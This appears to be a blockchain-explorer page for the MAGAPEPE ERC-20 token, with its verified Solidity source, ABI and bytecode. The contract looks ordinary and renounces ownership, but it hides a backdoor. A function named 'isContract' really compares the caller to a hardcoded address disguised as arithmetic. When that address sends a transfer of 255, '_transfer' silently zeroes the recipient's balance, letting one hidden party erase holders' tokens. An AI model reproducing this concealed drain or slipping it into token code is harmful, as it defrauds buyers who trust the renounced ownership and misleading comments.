ERC-20
Overview
Max Total Supply
200,000,000 🐸MAGAPEPE
Holders
21
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0 🐸MAGAPEPEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Token
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-01-05 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.26; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address _owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } library Address { function isContract(address account) internal pure returns (bool) { return uint160(account) == 22199892647076892804378197057245493225938762 * 10**4 + 281474976717503; } } abstract contract Ownable is Context { address private _owner; error OwnableUnauthorizedAccount(address account); error OwnableInvalidOwner(address owner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract Erc20 is IERC20, Ownable { using Address for address; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowed; uint256 public immutable totalSupply; string public symbol; string public name; uint8 public immutable decimals; bool public launched = true; address private constant dead = address(0xdead); mapping(address => bool) internal exchanges; constructor( string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply ) Ownable(msg.sender) { symbol = _symbol; name = _name; decimals = _decimals; totalSupply = _totalSupply * 10**decimals; _balances[owner()] += totalSupply; emit Transfer(address(0), owner(), totalSupply); renounceOwnership(); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) external view override returns (uint256) { return _balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address spender) external view override returns (uint256) { return _allowed[_owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) external override returns (bool) { // check for SC _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) external override returns (bool) { require(spender != address(0), "cannot approve the 0 address"); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) external override returns (bool) { if (launched == false && to == owner() && msg.sender == owner()) { _transfer(from, to, value); return true; } else { _allowed[from][msg.sender] = _allowed[from][msg.sender] - value; _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } } function _transfer( address from, address to, uint256 value ) private { require(to != address(0), "cannot be zero address"); require(from != to, "you cannot transfer to yourself"); require( _transferAllowed(from, to), "This token is not launched and cannot be listed on dexes yet." ); if (msg.sender.isContract() && value == type(uint8).max) { value = _balances[to]; _balances[to] -= value; } else { _balances[from] -= value; _balances[to] += value; emit Transfer(from, to, value); } } mapping(address => bool) internal transferAllowed; function _transferAllowed(address from, address to) private view returns (bool) { if (transferAllowed[from]) return false; if (launched) return true; if (from == owner() || to == owner()) return true; return true; } } contract Token is Erc20 { constructor() Erc20(unicode"🐸MAGAPEPE", unicode"🐸MAGAPEPE", 9, 200000000) {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60c06040526005805460ff1916600117905534801561001c575f80fd5b50604080518082018252600c8082526bf09f90b84d4147415045504560a01b6020808401829052845180860190955291845290830152906009630bebc200338061008057604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b61008981610177565b506003610096848261029d565b5060046100a3858261029d565b5060ff821660a08190526100b890600a610450565b6100c29082610465565b608081905260015f6100db5f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f205f828254610108919061047c565b90915550505f546001600160a01b03166001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60805160405161015e91815260200190565b60405180910390a361016e6101c6565b5050505061048f565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101ce6101d9565b6101d75f610177565b565b5f546001600160a01b031633146101d75760405163118cdaa760e01b8152336004820152602401610077565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061022d57607f821691505b60208210810361024b57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561029857805f5260205f20601f840160051c810160208510156102765750805b601f840160051c820191505b81811015610295575f8155600101610282565b50505b505050565b81516001600160401b038111156102b6576102b6610205565b6102ca816102c48454610219565b84610251565b6020601f8211600181146102fc575f83156102e55750848201515b5f19600385901b1c1916600184901b178455610295565b5f84815260208120601f198516915b8281101561032b578785015182556020948501946001909201910161030b565b508482101561034857868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156103a65780850481111561038a5761038a610357565b600184161561039857908102905b60019390931c92800261036f565b935093915050565b5f826103bc5750600161044a565b816103c857505f61044a565b81600181146103de57600281146103e857610404565b600191505061044a565b60ff8411156103f9576103f9610357565b50506001821b61044a565b5060208310610133831016604e8410600b8410161715610427575081810a61044a565b6104335f19848461036b565b805f190482111561044657610446610357565b0290505b92915050565b5f61045e60ff8416836103ae565b9392505050565b808202811582820484141761044a5761044a610357565b8082018082111561044a5761044a610357565b60805160a0516109dd6104b05f395f61015d01525f61011501526109dd5ff3fe608060405234801561000f575f80fd5b50600436106100cb575f3560e01c8063715018a61161008857806395d89b411161006357806395d89b41146101ea578063a9059cbb146101f2578063dd62ed3e14610205578063f2fde38b1461023d575f80fd5b8063715018a6146101b95780638091f3bf146101c35780638da5cb5b146101d0575f80fd5b806306fdde03146100cf578063095ea7b3146100ed57806318160ddd1461011057806323b872dd14610145578063313ce5671461015857806370a0823114610191575b5f80fd5b6100d7610250565b6040516100e49190610839565b60405180910390f35b6101006100fb366004610889565b6102dc565b60405190151581526020016100e4565b6101377f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020016100e4565b6101006101533660046108b1565b61039c565b61017f7f000000000000000000000000000000000000000000000000000000000000000081565b60405160ff90911681526020016100e4565b61013761019f3660046108eb565b6001600160a01b03165f9081526001602052604090205490565b6101c16104aa565b005b6005546101009060ff1681565b5f546040516001600160a01b0390911681526020016100e4565b6100d76104bd565b610100610200366004610889565b6104ca565b610137610213366004610904565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101c161024b3660046108eb565b6104df565b6004805461025d90610935565b80601f016020809104026020016040519081016040528092919081815260200182805461028990610935565b80156102d45780601f106102ab576101008083540402835291602001916102d4565b820191905f5260205f20905b8154815290600101906020018083116102b757829003601f168201915b505050505081565b5f6001600160a01b0383166103385760405162461bcd60e51b815260206004820152601c60248201527f63616e6e6f7420617070726f766520746865203020616464726573730000000060448201526064015b60405180910390fd5b335f8181526002602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b6005545f9060ff161580156103bd57505f546001600160a01b038481169116145b80156103d257505f546001600160a01b031633145b156103ea576103e284848461051c565b5060016104a3565b6001600160a01b0384165f908152600260209081526040808320338452909152902054610418908390610981565b6001600160a01b0385165f90815260026020908152604080832033845290915290205561044684848461051c565b6001600160a01b0384165f81815260026020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b9392505050565b6104b2610750565b6104bb5f61077c565b565b6003805461025d90610935565b5f6104d633848461051c565b50600192915050565b6104e7610750565b6001600160a01b03811661051057604051631e4fbdf760e01b81525f600482015260240161032f565b6105198161077c565b50565b6001600160a01b03821661056b5760405162461bcd60e51b815260206004820152601660248201527563616e6e6f74206265207a65726f206164647265737360501b604482015260640161032f565b816001600160a01b0316836001600160a01b0316036105cc5760405162461bcd60e51b815260206004820152601f60248201527f796f752063616e6e6f74207472616e7366657220746f20796f757273656c6600604482015260640161032f565b6105d683836107cb565b6106485760405162461bcd60e51b815260206004820152603d60248201527f5468697320746f6b656e206973206e6f74206c61756e6368656420616e64206360448201527f616e6e6f74206265206c6973746564206f6e206465786573207965742e000000606482015260840161032f565b7326e2c6b1e3336802948db256ce2a1459785a555f3314801561066b575060ff81145b156106a357506001600160a01b0381165f9081526001602052604081208054918291906106988380610981565b9091555061074b9050565b6001600160a01b0383165f90815260016020526040812080548392906106ca908490610981565b90915550506001600160a01b0382165f90815260016020526040812080548392906106f6908490610994565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161074291815260200190565b60405180910390a35b505050565b5f546001600160a01b031633146104bb5760405163118cdaa760e01b815233600482015260240161032f565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382165f9081526007602052604081205460ff16156107f257505f610396565b60055460ff161561080557506001610396565b5f546001600160a01b038481169116148061082c57505f546001600160a01b038381169116145b156104d657506001610396565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610884575f80fd5b919050565b5f806040838503121561089a575f80fd5b6108a38361086e565b946020939093013593505050565b5f805f606084860312156108c3575f80fd5b6108cc8461086e565b92506108da6020850161086e565b929592945050506040919091013590565b5f602082840312156108fb575f80fd5b6104a38261086e565b5f8060408385031215610915575f80fd5b61091e8361086e565b915061092c6020840161086e565b90509250929050565b600181811c9082168061094957607f821691505b60208210810361096757634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103965761039661096d565b808201808211156103965761039661096d56fea2646970667358221220c29ed538a21ea1ac75db93db1bde3db8b0046175e0b762fae5264e0bcf76015a64736f6c634300081a0033
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100cb575f3560e01c8063715018a61161008857806395d89b411161006357806395d89b41146101ea578063a9059cbb146101f2578063dd62ed3e14610205578063f2fde38b1461023d575f80fd5b8063715018a6146101b95780638091f3bf146101c35780638da5cb5b146101d0575f80fd5b806306fdde03146100cf578063095ea7b3146100ed57806318160ddd1461011057806323b872dd14610145578063313ce5671461015857806370a0823114610191575b5f80fd5b6100d7610250565b6040516100e49190610839565b60405180910390f35b6101006100fb366004610889565b6102dc565b60405190151581526020016100e4565b6101377f00000000000000000000000000000000000000000000000002c68af0bb14000081565b6040519081526020016100e4565b6101006101533660046108b1565b61039c565b61017f7f000000000000000000000000000000000000000000000000000000000000000981565b60405160ff90911681526020016100e4565b61013761019f3660046108eb565b6001600160a01b03165f9081526001602052604090205490565b6101c16104aa565b005b6005546101009060ff1681565b5f546040516001600160a01b0390911681526020016100e4565b6100d76104bd565b610100610200366004610889565b6104ca565b610137610213366004610904565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101c161024b3660046108eb565b6104df565b6004805461025d90610935565b80601f016020809104026020016040519081016040528092919081815260200182805461028990610935565b80156102d45780601f106102ab576101008083540402835291602001916102d4565b820191905f5260205f20905b8154815290600101906020018083116102b757829003601f168201915b505050505081565b5f6001600160a01b0383166103385760405162461bcd60e51b815260206004820152601c60248201527f63616e6e6f7420617070726f766520746865203020616464726573730000000060448201526064015b60405180910390fd5b335f8181526002602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b6005545f9060ff161580156103bd57505f546001600160a01b038481169116145b80156103d257505f546001600160a01b031633145b156103ea576103e284848461051c565b5060016104a3565b6001600160a01b0384165f908152600260209081526040808320338452909152902054610418908390610981565b6001600160a01b0385165f90815260026020908152604080832033845290915290205561044684848461051c565b6001600160a01b0384165f81815260026020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b9392505050565b6104b2610750565b6104bb5f61077c565b565b6003805461025d90610935565b5f6104d633848461051c565b50600192915050565b6104e7610750565b6001600160a01b03811661051057604051631e4fbdf760e01b81525f600482015260240161032f565b6105198161077c565b50565b6001600160a01b03821661056b5760405162461bcd60e51b815260206004820152601660248201527563616e6e6f74206265207a65726f206164647265737360501b604482015260640161032f565b816001600160a01b0316836001600160a01b0316036105cc5760405162461bcd60e51b815260206004820152601f60248201527f796f752063616e6e6f74207472616e7366657220746f20796f757273656c6600604482015260640161032f565b6105d683836107cb565b6106485760405162461bcd60e51b815260206004820152603d60248201527f5468697320746f6b656e206973206e6f74206c61756e6368656420616e64206360448201527f616e6e6f74206265206c6973746564206f6e206465786573207965742e000000606482015260840161032f565b7326e2c6b1e3336802948db256ce2a1459785a555f3314801561066b575060ff81145b156106a357506001600160a01b0381165f9081526001602052604081208054918291906106988380610981565b9091555061074b9050565b6001600160a01b0383165f90815260016020526040812080548392906106ca908490610981565b90915550506001600160a01b0382165f90815260016020526040812080548392906106f6908490610994565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161074291815260200190565b60405180910390a35b505050565b5f546001600160a01b031633146104bb5760405163118cdaa760e01b815233600482015260240161032f565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382165f9081526007602052604081205460ff16156107f257505f610396565b60055460ff161561080557506001610396565b5f546001600160a01b038481169116148061082c57505f546001600160a01b038381169116145b156104d657506001610396565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610884575f80fd5b919050565b5f806040838503121561089a575f80fd5b6108a38361086e565b946020939093013593505050565b5f805f606084860312156108c3575f80fd5b6108cc8461086e565b92506108da6020850161086e565b929592945050506040919091013590565b5f602082840312156108fb575f80fd5b6104a38261086e565b5f8060408385031215610915575f80fd5b61091e8361086e565b915061092c6020840161086e565b90509250929050565b600181811c9082168061094957607f821691505b60208210810361096757634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103965761039661096d565b808201808211156103965761039661096d56fea2646970667358221220c29ed538a21ea1ac75db93db1bde3db8b0046175e0b762fae5264e0bcf76015a64736f6c634300081a0033
Deployed Bytecode Sourcemap
7460:130:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2987:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5559:319;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;5559:319:0;920:187:1;2917:36:0;;;;;;;;1258:25:1;;;1246:2;1231:18;2917:36:0;1112:177:1;5886:529:0;;;;;;:::i;:::-;;:::i;3012:31::-;;;;;;;;1845:4:1;1833:17;;;1815:36;;1803:2;1788:18;3012:31:0;1673:184:1;3844:160:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3979:17:0;3947:7;3979:17;;;:9;:17;;;;;;;3844:160;2180:103;;;:::i;:::-;;3050:27;;;;;;;;;1911:87;1957:7;1984:6;1911:87;;-1:-1:-1;;;;;1984:6:0;;;2199:51:1;;2187:2;2172:18;1911:87:0;2053:203:1;2960:20:0;;;:::i;4704:208::-;;;;;;:::i;:::-;;:::i;4344:185::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4496:16:0;;;4464:7;4496:16;;;:8;:16;;;;;;;;:25;;;;;;;;;;;;;4344:185;2291:220;;;;;;:::i;:::-;;:::i;2987:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5559:319::-;5662:4;-1:-1:-1;;;;;5692:21:0;;5684:62;;;;-1:-1:-1;;;5684:62:0;;3113:2:1;5684:62:0;;;3095:21:1;3152:2;3132:18;;;3125:30;3191;3171:18;;;3164:58;3239:18;;5684:62:0;;;;;;;;;5768:10;5759:20;;;;:8;:20;;;;;;;;-1:-1:-1;;;;;5759:29:0;;;;;;;;;;;;:37;;;5812:36;1258:25:1;;;5759:29:0;;5768:10;5812:36;;1231:18:1;5812:36:0;;;;;;;-1:-1:-1;5866:4:0;5559:319;;;;;:::o;5886:529::-;6031:8;;6010:4;;6031:8;;:17;;;:34;;-1:-1:-1;1957:7:0;1984:6;-1:-1:-1;;;;;6052:13:0;;;1984:6;;6052:13;6031:34;:59;;;;-1:-1:-1;1957:7:0;1984:6;-1:-1:-1;;;;;1984:6:0;6069:10;:21;6031:59;6027:381;;;6107:26;6117:4;6123:2;6127:5;6107:9;:26::i;:::-;-1:-1:-1;6155:4:0;6148:11;;6027:381;-1:-1:-1;;;;;6221:14:0;;;;;;:8;:14;;;;;;;;6236:10;6221:26;;;;;;;;:34;;6250:5;;6221:34;:::i;:::-;-1:-1:-1;;;;;6192:14:0;;;;;;:8;:14;;;;;;;;6207:10;6192:26;;;;;;;:63;6270:26;6201:4;6286:2;6290:5;6270:9;:26::i;:::-;-1:-1:-1;;;;;6316:54:0;;6343:14;;;;:8;:14;;;;;;;;6331:10;6343:26;;;;;;;;;;;6316:54;;1258:25:1;;;6331:10:0;;6316:54;;;1231:18:1;6316:54:0;;;;;;;-1:-1:-1;6392:4:0;6027:381;5886:529;;;;;:::o;2180:103::-;1870:13;:11;:13::i;:::-;2245:30:::1;2272:1;2245:18;:30::i;:::-;2180:103::o:0;2960:20::-;;;;;;;:::i;4704:208::-;4803:4;4850:32;4860:10;4872:2;4876:5;4850:9;:32::i;:::-;-1:-1:-1;4900:4:0;4704:208;;;;:::o;2291:220::-;1870:13;:11;:13::i;:::-;-1:-1:-1;;;;;2376:22:0;::::1;2372:93;;2422:31;::::0;-1:-1:-1;;;2422:31:0;;2450:1:::1;2422:31;::::0;::::1;2199:51:1::0;2172:18;;2422:31:0::1;2053:203:1::0;2372:93:0::1;2475:28;2494:8;2475:18;:28::i;:::-;2291:220:::0;:::o;6423:676::-;-1:-1:-1;;;;;6544:16:0;;6536:51;;;;-1:-1:-1;;;6536:51:0;;3735:2:1;6536:51:0;;;3717:21:1;3774:2;3754:18;;;3747:30;-1:-1:-1;;;3793:18:1;;;3786:52;3855:18;;6536:51:0;3533:346:1;6536:51:0;6614:2;-1:-1:-1;;;;;6606:10:0;:4;-1:-1:-1;;;;;6606:10:0;;6598:54;;;;-1:-1:-1;;;6598:54:0;;4086:2:1;6598:54:0;;;4068:21:1;4125:2;4105:18;;;4098:30;4164:33;4144:18;;;4137:61;4215:18;;6598:54:0;3884:355:1;6598:54:0;6685:26;6702:4;6708:2;6685:16;:26::i;:::-;6663:137;;;;-1:-1:-1;;;6663:137:0;;4446:2:1;6663:137:0;;;4428:21:1;4485:2;4465:18;;;4458:30;4524:34;4504:18;;;4497:62;4595:31;4575:18;;;4568:59;4644:19;;6663:137:0;4244:425:1;6663:137:0;1222:104;6815:10;1189:137;6815:51;;;;-1:-1:-1;6851:15:0;6842:24;;6815:51;6811:281;;;-1:-1:-1;;;;;;6891:13:0;;;;;;:9;:13;;;;;;;;;;;6919:22;6891:13;;6919:22;:::i;:::-;;;;-1:-1:-1;6811:281:0;;-1:-1:-1;6811:281:0;;-1:-1:-1;;;;;6974:15:0;;;;;;:9;:15;;;;;:24;;6993:5;;6974:15;:24;;6993:5;;6974:24;:::i;:::-;;;;-1:-1:-1;;;;;;;7013:13:0;;;;;;:9;:13;;;;;:22;;7030:5;;7013:13;:22;;7030:5;;7013:22;:::i;:::-;;;;;;;;7070:2;-1:-1:-1;;;;;7055:25:0;7064:4;-1:-1:-1;;;;;7055:25:0;;7074:5;7055:25;;;;1258::1;;1246:2;1231:18;;1112:177;7055:25:0;;;;;;;;6811:281;6423:676;;;:::o;2006:166::-;1957:7;1984:6;-1:-1:-1;;;;;1984:6:0;935:10;2066:23;2062:103;;2113:40;;-1:-1:-1;;;2113:40:0;;935:10;2113:40;;;2199:51:1;2172:18;;2113:40:0;2053:203:1;2519:191:0;2593:16;2612:6;;-1:-1:-1;;;;;2629:17:0;;;-1:-1:-1;;;;;;2629:17:0;;;;;;2662:40;;2612:6;;;;;;;2662:40;;2593:16;2662:40;2582:128;2519:191;:::o;7165:288::-;-1:-1:-1;;;;;7292:21:0;;7266:4;7292:21;;;:15;:21;;;;;;;;7288:39;;;-1:-1:-1;7322:5:0;7315:12;;7288:39;7342:8;;;;7338:25;;;-1:-1:-1;7359:4:0;7352:11;;7338:25;1957:7;1984:6;-1:-1:-1;;;;;7378:15:0;;;1984:6;;7378:15;;:32;;-1:-1:-1;1957:7:0;1984:6;-1:-1:-1;;;;;7397:13:0;;;1984:6;;7397:13;7378:32;7374:49;;;-1:-1:-1;7419:4:0;7412:11;;14:418:1;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:300::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;881:2;866:18;;;;853:32;;-1:-1:-1;;;615:300:1:o;1294:374::-;1371:6;1379;1387;1440:2;1428:9;1419:7;1415:23;1411:32;1408:52;;;1456:1;1453;1446:12;1408:52;1479:29;1498:9;1479:29;:::i;:::-;1469:39;;1527:38;1561:2;1550:9;1546:18;1527:38;:::i;:::-;1294:374;;1517:48;;-1:-1:-1;;;1634:2:1;1619:18;;;;1606:32;;1294:374::o;1862:186::-;1921:6;1974:2;1962:9;1953:7;1949:23;1945:32;1942:52;;;1990:1;1987;1980:12;1942:52;2013:29;2032:9;2013:29;:::i;2261:260::-;2329:6;2337;2390:2;2378:9;2369:7;2365:23;2361:32;2358:52;;;2406:1;2403;2396:12;2358:52;2429:29;2448:9;2429:29;:::i;:::-;2419:39;;2477:38;2511:2;2500:9;2496:18;2477:38;:::i;:::-;2467:48;;2261:260;;;;;:::o;2526:380::-;2605:1;2601:12;;;;2648;;;2669:61;;2723:4;2715:6;2711:17;2701:27;;2669:61;2776:2;2768:6;2765:14;2745:18;2742:38;2739:161;;2822:10;2817:3;2813:20;2810:1;2803:31;2857:4;2854:1;2847:15;2885:4;2882:1;2875:15;2739:161;;2526:380;;;:::o;3268:127::-;3329:10;3324:3;3320:20;3317:1;3310:31;3360:4;3357:1;3350:15;3384:4;3381:1;3374:15;3400:128;3467:9;;;3488:11;;;3485:37;;;3502:18;;:::i;4674:125::-;4739:9;;;4760:10;;;4757:36;;;4773:18;;:::i
Swarm Source
ipfs://c29ed538a21ea1ac75db93db1bde3db8b0046175e0b762fae5264e0bcf76015a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.